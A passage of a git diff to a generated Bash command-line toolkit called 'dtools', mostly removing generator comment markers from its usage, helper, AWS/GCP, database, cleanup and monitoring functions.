"Examples:")" printf " {\n for ((i=0; i<=100; i+=2)); do\n sleep 1\n echo \"$RANDOM\"\n done\n } | dtools real-time-plot\n" echo @@ -6756,7 +5774,6 @@ dtools_real_time_plot_usage() { fi } -# :command.usage dtools_date_to_epoch_usage() { printf "dtools date-to-epoch - Convert a given date timestamp into epoch millis\n\n" @@ -6765,20 +5782,16 @@ dtools_date_to_epoch_usage() { printf " dtools date-to-epoch --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "TIMESTAMP")" printf " The date timestamp to convert.\n Specify '-' to use stdout\n" echo @@ -6786,7 +5799,6 @@ dtools_date_to_epoch_usage() { fi } -# :command.usage dtools_epoch_to_date_usage() { printf "dtools epoch-to-date - Convert a given epoch (in millis) to a date timestamp\n\n" @@ -6795,20 +5807,16 @@ dtools_epoch_to_date_usage() { printf " dtools epoch-to-date --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "EPOCH")" printf " The epoch (in millis) to convert.\n Specify '-' to use stdout\n" echo @@ -6816,7 +5824,6 @@ dtools_epoch_to_date_usage() { fi } -# :command.usage dtools_date_to_iso_8601_usage() { printf "dtools date-to-iso-8601 - Convert a given date into ISO 8601 format\n\n" @@ -6825,20 +5832,16 @@ dtools_date_to_iso_8601_usage() { printf " dtools date-to-iso-8601 --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "DATE")" printf " The date to convert.\n Specify '-' to use stdout\n" echo @@ -6846,7 +5849,6 @@ dtools_date_to_iso_8601_usage() { fi } -# :command.usage dtools_view_markdown_usage() { printf "dtools view-markdown - View markdown file in a browser with images and links\n\n" @@ -6855,20 +5857,16 @@ dtools_view_markdown_usage() { printf " dtools view-markdown --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "FILE")" printf " The markdown file to view\n" echo @@ -6876,7 +5874,6 @@ dtools_view_markdown_usage() { fi } -# :command.usage dtools_start_simple_server_usage() { printf "dtools start-simple-server - Starts a simple server using netcat\n\n" @@ -6885,19 +5882,15 @@ dtools_start_simple_server_usage() { printf " dtools start-simple-server --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--port PORT")" printf " The port to run the server on\n" printf " %s\n" "Default: 8000" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -6905,7 +5898,6 @@ dtools_start_simple_server_usage() { fi } -# :command.usage dtools_fzf_usage() { printf "dtools fzf - Pipe the output of a command to fzf for interactive selection\n\n" @@ -6914,37 +5906,29 @@ dtools_fzf_usage() { printf " dtools fzf --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--pre-processing PRE-PROCESSING")" printf " pre-processes the fzf selections before passing them into the target\n 'command'\n" echo - # :flag.usage printf " %s\n" "$(magenta "--additional-xargs-arguments ADDITIONAL-XARGS-ARGUMENTS")" printf " Additional arguments to pass to xargs\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "COMMAND")" printf " The command to execute when one or more items are selected\n" printf " %s\n" "Default: vi" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " # Open selected files in helix\n grep -ri 'test_value' . | dtools fzf\n" printf " # Tail the selected log group\n grep -ri 'test_value' . | dtools fzf 'dtools aws logs tail-log-group'\n" @@ -6954,7 +5938,6 @@ dtools_fzf_usage() { fi } -# :command.usage dtools_backup_usage() { printf "dtools backup - Create a backup of a file or directory. By default, this will create a copy of the specified file or directory in the same source directory.\n\n" @@ -6963,31 +5946,24 @@ dtools_backup_usage() { printf " dtools backup --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--move")" printf " Instead of copying a file or directory to create a backup, move the\n directory entirely so the original no longer exists\n" echo - # :flag.usage printf " %s\n" "$(magenta "--backup-dest BACKUP-DEST")" printf " Specify a destination directory for the backed up file or directory to be\n placed in\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "ITEM")" printf " The file or directory to create an in-place backup of.\n" echo @@ -6995,7 +5971,6 @@ dtools_backup_usage() { fi } -# :command.usage dtools_generate_password_usage() { printf "dtools generate-password - Randomly generate a secure password\n\n" @@ -7004,18 +5979,14 @@ dtools_generate_password_usage() { printf " dtools generate-password --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--copy-to-clipboard, -c")" printf " Copy the generated password to your clipboard\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -7023,7 +5994,6 @@ dtools_generate_password_usage() { fi } -# :command.usage dtools_play_mp3_usage() { printf "dtools play-mp3 - Play a given mp3 sound using the command line. This is useful when combined with ntfy to subscribe to a topic and play a sound whenever receiving a notification\n\n" @@ -7032,20 +6002,16 @@ dtools_play_mp3_usage() { printf " dtools play-mp3 --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "SOUND")" printf " The mp3 sound file to play\n" echo @@ -7053,7 +6019,6 @@ dtools_play_mp3_usage() { fi } -# :command.usage dtools_random_int_usage() { printf "dtools random-int - Generate a random integer in the given range\n\n" @@ -7062,25 +6027,20 @@ dtools_random_int_usage() { printf " dtools random-int --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--min MIN")" printf " The minimum value of the integer range (inclusive)\n" printf " %s\n" "Default: 0" echo - # :flag.usage printf " %s\n" "$(magenta "--max MAX")" printf " The maximum value of the integer range (inclusive)\n" printf " %s\n" "Default: 10" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -7088,7 +6048,6 @@ dtools_random_int_usage() { fi } -# :command.usage dtools_random_float_usage() { printf "dtools random-float - Generate a random float in the given range\n\n" @@ -7097,31 +6056,25 @@ dtools_random_float_usage() { printf " dtools random-float --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--min MIN")" printf " The minimum value of the float range (inclusive)\n" printf " %s\n" "Default: 0" echo - # :flag.usage printf " %s\n" "$(magenta "--max MAX")" printf " The maximum value of the float range (inclusive)\n" printf " %s\n" "Default: 10" echo - # :flag.usage printf " %s\n" "$(magenta "--precision PRECISION")" printf " The precision to output the random number with\n" printf " %s\n" "Default: 5" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -7129,7 +6082,6 @@ dtools_random_float_usage() { fi } -# :command.usage dtools_record_shell_usage() { printf "dtools record-shell - Record the current shell and create a gif of the session.\n\n" @@ -7138,32 +6090,25 @@ dtools_record_shell_usage() { printf " dtools record-shell --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--speed SPEED")" printf " The speed multiplier for the gif playback\n" printf " %s\n" "Default: 1" echo - # :flag.usage printf " %s\n" "$(magenta "--no-conversion")" printf " Do not convert the finished asciinema recording to a gif (keep it as an\n asciinema file)\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "OUTPUT_FILE")" printf " The output gif file to create (do not include '.gif' in the filename)\n" echo @@ -7171,8 +6116,6 @@ dtools_record_shell_usage() { fi } -# :command.normalize_input -# :command.normalize_input_function normalize_input() { local arg passthru passthru=false @@ -7198,41 +6141,6 @@ normalize_input() { done } -# :command.inspect_args -inspect_args() { - local k - - if ((${#args[@]})); then - readarray -t sorted_keys < <(printf '%s\n' "${!args[@]}" | sort) - echo args: - for k in "${sorted_keys[@]}"; do - echo "- \${args[$k]} = ${args[$k]}" - done - else - echo args: none - fi - - if ((${#deps[@]})); then - readarray -t sorted_keys < <(printf '%s\n' "${!deps[@]}" | sort) - echo - echo deps: - for k in "${sorted_keys[@]}"; do - echo "- \${deps[$k]} = ${deps[$k]}" - done - fi - - if ((${#env_var_names[@]})); then - readarray -t sorted_names < <(printf '%s\n' "${env_var_names[@]}" | sort) - echo - echo "environment variables:" - for k in "${sorted_names[@]}"; do - echo "- \$$k = ${!k:-}" - done - fi -} - -# :command.user_lib -# src/lib/colors.sh enable_auto_colors() { if [[ -z ${NO_COLOR+x} && ! -t 1 ]]; then NO_COLOR=1 @@ -7279,12 +6187,10 @@ cyan_underlined() { print_in_color "\e[4;36m" "$*"; } black_underlined() { print_in_color "\e[4;30m" "$*"; } white_underlined() { print_in_color "\e[4;37m" "$*"; } -# src/lib/filters/ai-filters.sh filter_llama_running() { curl -s http://localhost:8080 > /dev/null 2>&1 || red_bold "LLama must be running. You can start it with 'dtools ai start-llama'" } -# src/lib/filters/aws-filters.sh filter_profile_and_region_variables_set_with_flags() { declare aws_profile="${args[--profile]:-$AWS_PROFILE}" declare aws_region="${args[--region]:-$AWS_REGION}" @@ -7314,7 +6220,6 @@ filter_profile_and_region_variables_set_generic() { fi } -# src/lib/filters/db-filters.sh filter_postgres_not_running() { if docker container ls | grep -q 'postgres'; then red_bold "The PostgreSQL container is already running. Try stopping the container and trying again." @@ -7327,7 +6232,6 @@ filter_mysql_not_running() { fi } -# src/lib/filters/gcp-filters.sh filter_project_and_location_variables_set_with_flags() { declare gcp_project="${args[--project]:-$GCP_PROJECT}" declare gcp_location="${args[--location]:-$GCP_LOCATION}" @@ -7345,7 +6249,6 @@ filter_project_and_location_variables_set_with_flags() { fi } -# src/lib/filters/java-filters.sh filter_maven_or_gradle_installed() { if ! (command -v mvn > /dev/null 2>&1 || command -v gradle > /dev/null 2>&1); then red_bold "Maven or Gradle must be installed to run this command." @@ -7353,14 +6256,12 @@ filter_maven_or_gradle_installed() { fi } -# src/lib/filters/os-filters.sh filter_debian_based_os() { if grep -qiv '^ID_LIKE=.*debian' /etc/os-release; then red_bold "This command can only be run on debian-based systems." fi } -# src/lib/filters/plot-filters.sh filter_multiplot_requirements() { # shellcheck disable=SC2154 if [[ "${args[--multiplot]}" == 1 ]]; then @@ -7385,7 +6286,6 @@ filter_stack_vertically_multiplot_only() { fi } -# src/lib/filters/vm_filters.sh filter_linux_image_url_or_dist_is_defined() { # shellcheck disable=SC2154 declare dist="${args[--dist]}" @@ -7397,7 +6297,6 @@ filter_linux_image_url_or_dist_is_defined() { fi } -# src/lib/helpers/aws-helpers.sh close-aws-auth-tab() { sleep 2 zellij_session_id="$(zellij ls | grep -i current | awk '{print $1}' | sed -r 's/\x1B\[([0-9]{1,3}(;[0-9]{1,2};?)?)?[mGK]//g')" @@ -7437,7 +6336,6 @@ get-aws-region() { echo "${args[--region]:-$AWS_REGION}" } -# src/lib/helpers/gcp-helpers.sh close-gcp-auth-tab() { sleep 3 zellij_session_id="$(zellij ls | grep -i current | awk '{print $1}' | sed -r 's/\x1B\[([0-9]{1,3}(;[0-9]{1,2};?)?)?[mGK]//g')" @@ -7483,14 +6381,12 @@ get-gcp-location() { echo "${args[--location]:-$GCP_LOCATION}" } -# src/lib/helpers/git-helpers.sh repo-doesnt-have-uncommitted-changes() { git diff --quiet && \ git diff --cached --quiet && \ git rev-list @{u}..HEAD --quiet } -# src/lib/helpers/os-helpers.sh detect_os() { case "$OSTYPE" in solaris*) echo "solaris" ;; @@ -7538,7 +6434,6 @@ open_link() { return 0 } -# src/lib/helpers/spinner.sh trap 'spinny-stop' SIGINT declare -a SPINNY_FRAMES=(▸ ▹▸ ▹▹▸ ▹▹▹▸ ▹▹▹▹▸ " ▹▹▹▹" " ▹▹▹" " ▹▹" " ▹" " " ) declare SPINNY_DELAY=0.1 @@ -7621,7 +6516,6 @@ spinny_load_frames() { fi } -# src/lib/send_completions.sh send_completions() { echo $'# dtools completion -*- shell-script -*-' echo $'' @@ -9126,7 +8020,6 @@ send_completions() { echo $'# ex: filetype=sh' } -# src/lib/validations/aws_validations.sh validate_aws_profile_exists() { (grep -q "^\[profile $1\]\$" "$HOME"/.aws/config) || red_bold "The AWS profile '$1' does not exist in ~/.aws/config" } @@ -9149,54 +8042,44 @@ validate_aws_ssm_port_forwarding_host() { fi } -# src/lib/validations/miscellaneous_validations.sh validate_port_number() { if [[ ! $1 =~ ^([1-9]|[1-9][0-9]{1,3}|[1-5][0-9]{4}|6[0-4][0-9]{3}|65[0-4][0-9]{2}|655[0-2][0-9]|6553[0-5])$ ]]; then red_bold "The port number provided is invalid: $1" fi } -# src/lib/validations/validate_dir_exists.sh validate_dir_exists() { if [[ ! -d "$1" ]]; then echo "must be an existing directory" fi } -# src/lib/validations/validate_file_exists.sh validate_file_exists() { if [[ ! -f "$1" ]]; then echo "must be an existing file" fi } -# src/lib/validations/validate_integer.sh validate_integer() { if ! [[ "$1" =~ ^[0-9]+$ ]]; then echo "must be an integer" fi } -# src/lib/validations/validate_not_empty.sh validate_not_empty() { if [[ -z "$1" ]]; then echo "must not be empty" fi } -# :command.command_functions -# :command.function dtools_completions_command() { - # src/commands/completions.sh send_completions } -# :command.function dtools_update_command() { - # src/commands/update.sh set -e # shellcheck disable=SC2155 @@ -9225,10 +8108,8 @@ dtools_update_command() { } -# :command.function dtools_ai_chat_command() { - # src/commands/ai/chat.sh # shellcheck disable=SC2154 declare repo="${args[--hf-repo]}" declare file="${args[--hf-file]}" @@ -9236,10 +8117,8 @@ dtools_ai_chat_command() { } -# :command.function dtools_ai_start_llama_server_command() { - # src/commands/ai/start-llama-server.sh # shellcheck disable=SC2154 declare repo="${args[--hf-repo]}" declare file="${args[--hf-file]}" @@ -9262,26 +8141,20 @@ dtools_ai_start_llama_server_command() { } -# :command.function dtools_ai_open_llama_ui_command() { - # src/commands/ai/open-llama-ui.sh cmd="$(get_opener) $cmd "http://localhost:8080" > /dev/null 2>&1 & } -# :command.function dtools_ai_open_llama_api_docs_command() { - # src/commands/ai/open-llama-api-docs.sh cmd="$(get_opener) $cmd "https://github.com/ggerganov/llama.cpp/blob/master/examples/server/README.md" > /dev/null 2>&1 & } -# :command.function dtools_aws_login_command() { - # src/commands/aws/login.sh # shellcheck disable=SC2155 declare aws_profile="$(get-aws-profile)" declare aws_region="$(get-aws-region)" @@ -9300,10 +8173,8 @@ dtools_aws_login_command() { } -# :command.function dtools_aws_console_command() { - # src/commands/aws/console.sh # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" # shellcheck disable=SC2155 @@ -9737,18 +8608,14 @@ EOF } -# :command.function dtools_aws_shell_command() { - # src/commands/aws/shell.sh aws --cli-auto-prompt } -# :command.function dtools_aws_profile_command() { - # src/commands/aws/profile.sh set-aws-profile() { if ( grep -q "AWS_PROFILE" ~/.bashrc ); then sed -i "/^AWS_PROFILE=/c\export AWS_PROFILE=$1" ~/.bashrc @@ -9763,10 +8630,8 @@ dtools_aws_profile_command() { } -# :command.function dtools_aws_region_command() { - # src/commands/aws/region.sh declare region # shellcheck disable=SC2154 region="${args[region]}" @@ -9778,10 +8643,8 @@ dtools_aws_region_command() { } -# :command.function dtools_aws_toggle_auto_prompt_command() { - # src/commands/aws/toggle-auto-prompt.sh set-aws-auto-prompt() { if ( grep "AWS_CLI_AUTO_PROMPT" ~/.bashrc > /dev/null 2>&1 ); then sed -i "/AWS_CLI_AUTO_PROMPT=/c\export AWS_CLI_AUTO_PROMPT=$1" ~/.bashrc @@ -9798,10 +8661,8 @@ dtools_aws_toggle_auto_prompt_command() { } -# :command.function dtools_aws_export_sso_creds_command() { - # src/commands/aws/export-sso-creds.sh # shellcheck disable=SC2155 declare aws_profile="$(get-aws-profile)" declare aws_region="$(get-aws-region)" @@ -9812,10 +8673,8 @@ dtools_aws_export_sso_creds_command() { } -# :command.function dtools_aws_generate_sso_profiles_command() { - # src/commands/aws/generate-sso-profiles.sh # shellcheck disable=SC2154 declare aws_region="${args[--default-cli-region]}" declare sso_region="${args[--sso-region]}" @@ -9941,10 +8800,8 @@ green_bold "Successfully generated profiles from AWS SSO!" } -# :command.function dtools_aws_ec2_list_instances_command() { - # src/commands/aws/ec2/list-instances.sh # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" declare aws_profile="$(get-aws-profile)" @@ -9997,10 +8854,8 @@ dtools_aws_ec2_list_instances_command() { } -# :command.function dtools_aws_ssm_start_port_forwarding_command() { - # src/commands/aws/ssm/start-port-forwarding.sh # shellcheck disable=SC2155 declare aws_profile="$(get-aws-profile)" declare aws_region="$(get-aws-region)" @@ -10021,10 +8876,8 @@ dtools_aws_ssm_start_port_forwarding_command() { } -# :command.function dtools_aws_ssm_start_ngrok_bastion_instance_command() { - # src/commands/aws/ssm/start-ngrok-bastion-instance.sh set -e # shellcheck disable=SC2155 declare aws_profile="$(get-aws-profile)" @@ -10136,10 +8989,8 @@ dtools_aws_ssm_start_ngrok_bastion_instance_command() { } -# :command.function dtools_aws_ssm_list_parameters_command() { - # src/commands/aws/ssm/list-parameters.sh # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" declare aws_profile="$(get-aws-profile)" @@ -10159,10 +9010,8 @@ dtools_aws_ssm_list_parameters_command() { } -# :command.function dtools_aws_ssm_get_parameter_command() { - # src/commands/aws/ssm/get-parameter.sh # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" declare aws_profile="$(get-aws-profile)" @@ -10182,10 +9031,8 @@ dtools_aws_ssm_get_parameter_command() { } -# :command.function dtools_aws_ssm_create_parameter_command() { - # src/commands/aws/ssm/create-parameter.sh # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" declare aws_profile="$(get-aws-profile)" @@ -10199,10 +9046,8 @@ dtools_aws_ssm_create_parameter_command() { } -# :command.function dtools_aws_ssm_update_parameter_command() { - # src/commands/aws/ssm/update-parameter.sh # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" declare aws_profile="$(get-aws-profile)" @@ -10216,10 +9061,8 @@ dtools_aws_ssm_update_parameter_command() { } -# :command.function dtools_aws_ssm_delete_parameter_command() { - # src/commands/aws/ssm/delete-parameter.sh # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" declare aws_profile="$(get-aws-profile)" @@ -10232,10 +9075,8 @@ dtools_aws_ssm_delete_parameter_command() { } -# :command.function dtools_aws_secretsmanager_list_secrets_command() { - # src/commands/aws/secretsmanager/list-secrets.sh # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" declare aws_profile="$(get-aws-profile)" @@ -10255,10 +9096,8 @@ dtools_aws_secretsmanager_list_secrets_command() { } -# :command.function dtools_aws_secretsmanager_show_secret_command() { - # src/commands/aws/secretsmanager/show-secret.sh # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" declare aws_profile="$(get-aws-profile)" @@ -10278,10 +9117,8 @@ dtools_aws_secretsmanager_show_secret_command() { } -# :command.function dtools_aws_secretsmanager_create_secret_command() { - # src/commands/aws/secretsmanager/create-secret.sh # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" declare aws_profile="$(get-aws-profile)" @@ -10295,10 +9132,8 @@ dtools_aws_secretsmanager_create_secret_command() { } -# :command.function dtools_aws_logs_list_log_groups_command() { - # src/commands/aws/logs/list-log-groups.sh # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" declare aws_profile="$(get-aws-profile)" @@ -10317,10 +9152,8 @@ dtools_aws_logs_list_log_groups_command() { } -# :command.function dtools_aws_logs_tail_log_group_command() { - # src/commands/aws/logs/tail-log-group.sh # shellcheck disable=SC2155 declare aws_profile="$(get-aws-profile)" declare aws_region="$(get-aws-region)" @@ -10354,10 +9187,8 @@ dtools_aws_logs_tail_log_group_command() { } -# :command.function dtools_aws_logs_query_log_groups_command() { - # src/commands/aws/logs/query-log-groups.sh # shellcheck disable=SC2155 export aws_region="$(get-aws-region)" # shellcheck disable=SC2155 @@ -10404,10 +9235,8 @@ dtools_aws_logs_query_log_groups_command() { } -# :command.function dtools_aws_rds_list_db_instances_command() { - # src/commands/aws/rds/list-db-instances.sh # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" # shellcheck disable=SC2155 @@ -10425,10 +9254,8 @@ dtools_aws_rds_list_db_instances_command() { } -# :command.function dtools_aws_rds_fetch_db_connection_details_command() { - # src/commands/aws/rds/fetch-db-connection-details.sh # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" # shellcheck disable=SC2155 @@ -10448,10 +9275,8 @@ dtools_aws_rds_fetch_db_connection_details_command() { } -# :command.function dtools_gcp_login_command() { - # src/commands/gcp/login.sh # shellcheck disable=SC2155 declare gcp_project="$(get-gcp-project)" declare gcp_location="$(get-gcp-location)" @@ -10490,10 +9315,8 @@ dtools_gcp_login_command() { } -# :command.function dtools_gcp_project_command() { - # src/commands/gcp/project.sh # shellcheck disable=SC2154 declare gcp_project="${args[project]}" @@ -10506,10 +9329,8 @@ dtools_gcp_project_command() { } -# :command.function dtools_gcp_location_command() { - # src/commands/gcp/location.sh # shellcheck disable=SC2154 declare gcp_location="${args[location]}" @@ -10521,10 +9342,8 @@ dtools_gcp_location_command() { } -# :command.function dtools_gcp_get_project_number_command() { - # src/commands/gcp/get-project-number.sh # shellcheck disable=SC2154 declare project_name="${args[project_name]}" @@ -10534,10 +9353,8 @@ dtools_gcp_get_project_number_command() { } -# :command.function dtools_gcp_vertex_deploy_model_command() { - # src/commands/gcp/vertex/deploy-model.sh # shellcheck disable=SC2155 declare gcp_location="$(get-gcp-location)" declare gcp_project="$(get-gcp-project)" @@ -10657,10 +9474,8 @@ dtools_gcp_vertex_deploy_model_command() { } -# :command.function dtools_gcp_vertex_predict_command() { - # src/commands/gcp/vertex/predict.sh # shellcheck disable=SC2155 declare gcp_location="$(get-gcp-location)" # shellcheck disable=SC2154 @@ -10694,10 +9509,8 @@ dtools_gcp_vertex_predict_command() { } -# :command.function dtools_gcp_vertex_list_endpoints_command() { - # src/commands/gcp/vertex/list-endpoints.sh # shellcheck disable=SC2155 declare gcp_location="$(get-gcp-location)" declare gcp_project="$(get-gcp-project)" @@ -10713,10 +9526,8 @@ dtools_gcp_vertex_list_endpoints_command() { } -# :command.function dtools_gcp_vertex_tail_endpoint_logs_command() { - # src/commands/gcp/vertex/tail-endpoint-logs.sh # shellcheck disable=SC2155 declare gcp_location="$(get-gcp-location)" declare gcp_project="$(get-gcp-project)" @@ -10737,10 +9548,8 @@ dtools_gcp_vertex_tail_endpoint_logs_command() { } -# :command.function dtools_gcp_artifacts_list_repositories_command() { - # src/commands/gcp/artifacts/list-repositories.sh # shellcheck disable=SC2155 declare gcp_location="$(get-gcp-location)" declare gcp_project="$(get-gcp-project)" @@ -10751,10 +9560,8 @@ dtools_gcp_artifacts_list_repositories_command() { } -# :command.function dtools_gcp_artifacts_list_images_command() { - # src/commands/gcp/artifacts/list-images.sh # shellcheck disable=SC2155 declare gcp_project="$(get-gcp-project)" declare gcp_location="$(get-gcp-location)" @@ -10771,10 +9578,8 @@ dtools_gcp_artifacts_list_images_command() { } -# :command.function dtools_db_postgres_command() { - # src/commands/db/postgres.sh set -e trap "docker stop postgres > /dev/null 2>&1" EXIT @@ -10842,10 +9647,8 @@ dtools_db_postgres_command() { } -# :command.function dtools_db_mysql_command() { - # src/commands/db/mysql.sh set -e trap "docker stop mysql > /dev/null 2>&1" EXIT @@ -10919,10 +9722,8 @@ dtools_db_mysql_command() { } -# :command.function dtools_db_bigquery_command() { - # src/commands/db/bigquery.sh set -e # shellcheck disable=SC2154 @@ -10940,10 +9741,8 @@ dtools_db_bigquery_command() { } -# :command.function dtools_elastic_init_command() { - # src/commands/elastic/init.sh declare current_dir="$PWD" [[ -d $HOME/Applications ]] || mkdir "$HOME"/Applications @@ -10962,10 +9761,8 @@ dtools_elastic_init_command() { } -# :command.function dtools_elastic_start_command() { - # src/commands/elastic/start.sh declare current_dir="$PWD" cd "$HOME"/Applications/docker-elk || exit @@ -10981,10 +9778,8 @@ dtools_elastic_start_command() { } -# :command.function dtools_elastic_stop_command() { - # src/commands/elastic/stop.sh declare current_dir="$PWD" cd "$HOME"/Applications/docker-elk || exit @@ -10996,10 +9791,8 @@ dtools_elastic_stop_command() { } -# :command.function dtools_java_set_version_command() { - # src/commands/java/set-version.sh sudo rm /usr/bin/java sudo rm /usr/bin/javac sudo rm /usr/bin/javadoc @@ -11047,10 +9840,8 @@ dtools_java_set_version_command() { } -# :command.function dtools_java_analyze_with_sonar_command() { - # src/commands/java/analyze-with-sonar.sh # shellcheck disable=SC2154 declare sonar_url="${args[--sonar-url]}" declare sonar_login="${args[--sonar-login]}" @@ -11074,10 +9865,8 @@ dtools_java_analyze_with_sonar_command() { } -# :command.function dtools_ansible_encrypt_string_command() { - # src/commands/ansible/encrypt-string.sh encrypt-string() { ansible-vault encrypt_string --ask-vault-pass --encrypt-vault-id default } @@ -11092,19 +9881,15 @@ dtools_ansible_encrypt_string_command() { } -# :command.function dtools_ansible_decrypt_variable_command() { - # src/commands/ansible/decrypt-variable.sh # shellcheck disable=SC2154 ansible localhost -m ansible.builtin.debug -a var="${args[--variable]}" -e "@${args[--file]}" --ask-vault-pass } -# :command.function dtools_install_docker_command() { - # src/commands/install/docker.sh blue_bold "Installing prerequisites..." yes | sudo add-apt-repository universe yes | sudo add-apt-repository multiverse @@ -11133,29 +9918,23 @@ dtools_install_docker_command() { } -# :command.function dtools_install_ansible_command() { - # src/commands/install/ansible.sh sudo apt-get update sudo apt-get install python3.8 python3-pip pip3 install --user ansible } -# :command.function dtools_install_java_command() { - # src/commands/install/java.sh sudo add-apt-repository ppa:openjdk-r/ppa sudo apt-get update sudo apt-get install openjdk-8-jdk openjdk-11-jdk openjdk-17-jdk openjdk-21-jdk -y } -# :command.function dtools_clean_bleachbit_command() { - # src/commands/clean/bleachbit.sh blue_bold "Running BleachBit" spinny-start @@ -11270,10 +10049,8 @@ green_bold "Finished running BleachBit cleaners" } -# :command.function dtools_clean_docker_command() { - # src/commands/clean/docker.sh blue_bold "Cleaning docker" blue_bold "Pruning Docker images and containers..." @@ -11290,10 +10067,8 @@ dtools_clean_docker_command() { } -# :command.function dtools_clean_package_caches_command() { - # src/commands/clean/package-caches.sh blue_bold "Cleaning packages..." blue_bold "Cleaning apt cache..." @@ -11324,10 +10099,8 @@ dtools_clean_package_caches_command() { } -# :command.function dtools_clean_logs_command() { - # src/commands/clean/logs.sh blue_bold "Cleaning system logs..." blue_bold "Vacuuming journal logs older than 3 days..." @@ -11339,10 +10112,8 @@ dtools_clean_logs_command() { } -# :command.function dtools_clean_build_caches_command() { - # src/commands/clean/build-caches.sh blue_bold "Cleaning build caches" # shellcheck disable=SC2154 declare code_directory="${args[code-directory]}" @@ -11412,259 +10183,191 @@ dtools_clean_build_caches_command() { } -# :command.function dtools_tui_monitoring_system_monitor_command() { - # src/commands/tui/monitoring/system-monitor.sh btop } -# :command.function dtools_tui_monitoring_pihole_monitor_command() { - # src/commands/tui/monitoring/pihole-monitor.sh pimon } -# :command.function dtools_tui_monitoring_kernel_monitor_command() { - # src/commands/tui/monitoring/kernel-monitor.sh kmon } -# :command.function dtools_tui_network_monitoring_wavemon_command() { - # src/commands/tui/network-monitoring/wavemon.sh wavemon } -# :command.function dtools_tui_network_monitoring_network_diags_command() { - # src/commands/tui/network-monitoring/network-diags.sh trippy } -# :command.function dtools_tui_network_monitoring_ip_traffic_command() { - # src/commands/tui/network-monitoring/ip-traffic.sh iptraf } -# :command.function dtools_tui_network_monitoring_socket_stats_command() { - # src/commands/tui/network-monitoring/socket-stats.sh neoss } -# :command.function dtools_tui_network_monitoring_netscanner_command() { - # src/commands/tui/network-monitoring/netscanner.sh netscanner } -# 